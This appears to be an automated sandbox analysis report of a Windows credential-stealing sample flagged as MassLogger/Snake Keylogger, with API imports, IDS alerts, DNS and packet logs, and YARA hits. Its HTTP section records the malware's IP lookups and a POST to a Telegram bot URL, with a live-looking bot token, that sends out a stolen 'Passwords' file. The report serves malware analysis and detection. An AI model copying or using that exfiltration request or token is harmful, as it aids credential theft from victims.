GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:23:11.665372+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-11T08:23:17.634137+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49707	193.122.130.0	80	TCP
2025-01-11T08:23:18.291610+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49738	149.154.167.220	443	TCP
2025-01-11T08:23:18.539672+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49738	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:23:10.905213118 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:10.910099030 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:10.910182953 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:10.910440922 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:10.915180922 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:11.497420073 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:11.502949953 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:11.507781982 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:11.622411013 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:11.665371895 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:11.692413092 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:11.692446947 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:11.692504883 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:11.697753906 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:11.697782993 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.173301935 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.173634052 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:12.178256035 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:12.178267956 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.178596020 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.227828026 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:12.229590893 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:12.271332979 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.338319063 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.338633060 CET	443	49708	104.21.32.1	192.168.2.10
Jan 11, 2025 08:23:12.338691950 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:12.355279922 CET	49708	443	192.168.2.10	104.21.32.1
Jan 11, 2025 08:23:17.475508928 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:17.480622053 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:17.579169035 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:23:17.599524021 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:17.599569082 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:17.599636078 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:17.600507021 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:17.600524902 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:17.634136915 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:23:18.243037939 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.243221045 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:18.245551109 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:18.245563030 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.245891094 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.247370958 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:18.291372061 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.291485071 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:18.291513920 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.539686918 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.539763927 CET	443	49738	149.154.167.220	192.168.2.10
Jan 11, 2025 08:23:18.539824963 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:23:18.540311098 CET	49738	443	192.168.2.10	149.154.167.220
Jan 11, 2025 08:24:22.578483105 CET	80	49707	193.122.130.0	192.168.2.10
Jan 11, 2025 08:24:22.581759930 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:24:52.353471041 CET	49707	80	192.168.2.10	193.122.130.0
Jan 11, 2025 08:24:52.358411074 CET	80	49707	193.122.130.0	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:23:10.893146992 CET	57380	53	192.168.2.10	1.1.1.1
Jan 11, 2025 08:23:10.899813890 CET	53	57380	1.1.1.1	192.168.2.10
Jan 11, 2025 08:23:11.684488058 CET	65394	53	192.168.2.10	1.1.1.1
Jan 11, 2025 08:23:11.691723108 CET	53	65394	1.1.1.1	192.168.2.10
Jan 11, 2025 08:23:17.586369991 CET	52430	53	192.168.2.10	1.1.1.1
Jan 11, 2025 08:23:17.593106985 CET	53	52430	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:23:10.893146992 CET	192.168.2.10	1.1.1.1	0x2955	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.684488058 CET	192.168.2.10	1.1.1.1	0x48fd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:17.586369991 CET	192.168.2.10	1.1.1.1	0xfefd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:10.899813890 CET	1.1.1.1	192.168.2.10	0x2955	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:11.691723108 CET	1.1.1.1	192.168.2.10	0x48fd	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:23:17.593106985 CET	1.1.1.1	192.168.2.10	0xfefd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	193.122.130.0	80	7588	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:23:10.910440922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 08:23:11.497420073 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:23:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1a4c407473c3b79adc1433b47dd9de0c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 08:23:11.502949953 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 08:23:11.622411013 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:23:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ed94aac2b547a15e1046fc1cc7e8aaac Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 08:23:17.475508928 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 08:23:17.579169035 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:23:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b5fc54cfd31052f0e2dc897579309e14 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49708	104.21.32.1	443	7588	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 07:23:12 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 07:23:12 UTC	858	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:23:12 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1894981 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YP8YOkD8LWn4wtM1YHkN6vYoOYUTqbknhkVlZEZhSe9%2FfSnFWOraSrNNwkcTghbgZSpJygb5GDIBtZcp3qR%2BZhGPrSR1zb6SGLtVG6TLCbVjO1LFtDlSqCrxo18t%2FLu6aE%2F4Fu%2Bl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900328f9b8434344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1653&rtt_var=635&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1704611&cwnd=47&unsent_bytes=0&cid=4493e9b54738f424&ts=186&x=0"
2025-01-11 07:23:12 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49738	149.154.167.220	443	7588	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 07:23:18 UTC	294	OUT	POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e6e8455b09 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 07:23:18 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 36 65 38 34 35 35 62 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e6e8455b09Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 07:23:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 07:23:18 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 07:23:18 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 31 33 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 33 38 36 31 39 37 33 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6e 6f 76 61 6c 6f 67 67 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6e 6f 76 6f 6c 6f 67 67 65 72 70 72 69 6e 63 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 35 35 37 37 36 35 36 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 7a 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 6e 79 65 6e 7a 65 30 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 38 30 31 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 Data Ascii: {"ok":true,"result":{"message_id":21390,"from":{"id":8138619732,"is_bot":true,"first_name":"novalogger","username":"novologgerprincebot"},"chat":{"id":7455776561,"first_name":"Nze","username":"Onyenze001","type":"private"},"date":1736580198,"document":{"f

Target ID:	1
Start time:	02:23:07
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\h8izmpp1ZM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\h8izmpp1ZM.exe"
Imagebase:	0x5d0000
File size:	983'040 bytes
MD5 hash:	D105B18AE5DD26346D6C7594C085B152
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:23:08
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\h8izmpp1ZM.exe"
Imagebase:	0xe00000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3754906148.000000000335B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	8%
Total number of Nodes:	2000
Total number of Limit Nodes:	177

Executed Functions

